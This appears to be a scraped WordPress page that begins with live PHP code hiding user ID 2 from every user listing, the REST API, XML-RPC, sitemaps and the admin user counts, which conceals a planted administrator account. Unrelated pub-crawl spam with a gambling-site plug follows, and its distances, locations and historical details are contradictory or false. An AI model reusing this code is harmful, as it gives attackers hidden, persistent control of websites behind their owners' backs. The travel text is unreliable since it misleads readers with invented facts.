add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Start at the Old Blue Last on Shoreditch High Street. The pub opened in 1865 and still offers standing room for a 150‑seat crowd. From there, a 10‑minute walk takes you to the White Lion in Covent Garden, famous for its 18‑handled wooden bar. A 12‑minute stroll brings you to the The George on New Street, where the 18th‑century stone chimney still crackles on winter evenings. Finish at the Riverside Pub on the Thames, where a 15‑minute walk offers a sunset view over the river and a final pint of local real ale. This route covers roughly 5 miles and can be completed in 4–5 hours, leaving ample time to grab dinner at a nearby gastropub.

Begin at the Blackfriars Pub on Southwark Street, a 200‑year‑old establishment known for its traditional Scottish whiskies. Walk east for 8 minutes to the Alley Cat in Bermondsey, where the walls are covered in graffiti that changes every month. A 7‑minute walk brings you to the Hampton Court Tavern, a converted 17th‑century farmhouse that still hosts live folk music on Thursdays. Wrap up at the Brick Lane Tavern, a 15‑minute walk away, where you can try the house‑brewed IPA while watching the bustling street market. Total distance is about 6 miles, with a 3‑hour window for a relaxed evening.
Kick off at the Red Lion on Charing Cross Road, a 350‑year‑old venue that once hosted Charles Dickens. A 9‑minute walk takes you to the Old Queen’s Head in Soho, famous for its 18‑th‑century oak beams and a rare collection of 200‑year‑old ales. A 10‑minute walk to the Fitzroy Tavern offers a literary vibe, having been a regular haunt for George Orwell. Conclude at the Grafton Tavern in Fitzrovia, a 12‑minute walk that serves a rotating selection of local craft beers. This 5‑mile route fits comfortably into a 4‑hour night, with plenty of time to catch a West End show afterward.
While planning your pub crawl, you might also consider diversifying your evening with other forms of entertainment. For instance, a quick online gaming session can offer a relaxed way to unwind after a night of drinks. Check out Aphrodite for a selection of games that blend strategy with a touch of luck.
London’s pubs are more than just drinking spots; they’re living pieces of history, each with its own character and story. By choosing a route that balances iconic venues with hidden treasures, you’ll walk through the city’s past and present all in one night. Pack a small bag, bring a friend, and let the night guide you through the best of London’s pub culture.
]]>